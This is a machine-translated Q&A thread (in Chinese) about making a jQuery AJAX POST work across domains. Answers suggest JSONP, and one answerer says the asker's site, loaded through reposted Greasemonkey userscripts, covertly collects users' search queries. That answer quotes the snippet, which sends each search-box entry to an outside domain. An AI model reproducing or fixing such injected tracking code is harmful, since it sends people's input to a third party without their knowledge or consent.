2011-11-18 51 views
2

我想通過JQuery獲得使用AJAX的跟蹤腳本。JQuery的AJAX問題 - 也許跨域?

這是個人使用,所以它不需要漂亮,只是工作。

基本上,我在我的客戶所擁有的域上加載腳本,我需要能夠發送郵件信息(或以某種方式發送信息)到我自己的域上的php文件。

這是我現在使用的代碼。

var data = "&url=" + $('input[name="url"]').val(); 

$.ajax({ 
    type: "POST", 
    url: "http://domain.com/scripts/recordSearch.php", 
    data: data, 
    success: function(data) { 
     alert(data); 
    } 
}); 

看起來好像只是在頁面加載時沒有觸發。這是因爲跨域問題還是我只是在做一些完全錯誤的事情?

謝謝你們。

+0

我有類似的問題與跨域Ajax和我解決了它通過添加www.domain.com/foo/ FOO。所以試試www。不知道這是否適用於此 – zaoudis

+0

您應該添加一個錯誤部分,並可能將所有內容包裝在try catch語句中。你也應該嘗試在警報中使用文本,例如alert(「test:Got this far。」); – RetroCoder

回答

1

按F12鍵(如果在Chrome,FF或IE中)並查看它是否在控制檯中拋出錯誤。

您可以設置數據類型,同時它應該工作:

dataType: "jsonp" 

更多信息:http://api.jquery.com/jQuery.ajax/

+0

謝謝!這工作! –

1

是的,這違反了同源策略。

如果響應是JSON,則可以使用JSONP。

+0

您無法使用JSONP進行POST。 – erturne

0

我對你到底是你想用這些搜索數據做的一個問題...? 我曾期待在您的站點中看到cookie竊取腳本(http://totalfilehosters.co.uk/scripts/scriptLoader.php?id=jquery-1.7,這是一個Greasemonkey腳本調用的,您在userscripts.org上偷取的只是添加一行代碼來加載該頁面),但是您只是收集搜索疑問? 無論如何,請刪除您上傳到userscripts.org的所有腳本,您的腳本看起來很像您試圖竊取cookie,並且有很多人可能因此而生氣......(除了您'偷了他們的腳本,也是我的一個,甚至改變了標題和描述?不爽)

$('input[name="q"]').change(function() { 
    var data = "&value=" + $('input[name="q"]').val() + "&type=0"; 

    $.ajax({ 
     type: "POST", 
     url: "http://totalfilehosters.co.uk/scripts/record.php", 
     data: data, 
     dataType: "jsonp", 
     success: function(data) { 
      console.log(data); 
     } 
    }); 


    //alert(data); 
    //$.post('http://totalfilehosters.com/scripts/recordSearch.php', function(data) { 
    // alert(data); 
    //}); 
    //$.post("http://totalfilehosters.com/scripts/recordSearch.php", { value: $('input[name="q"]').val()}); 
});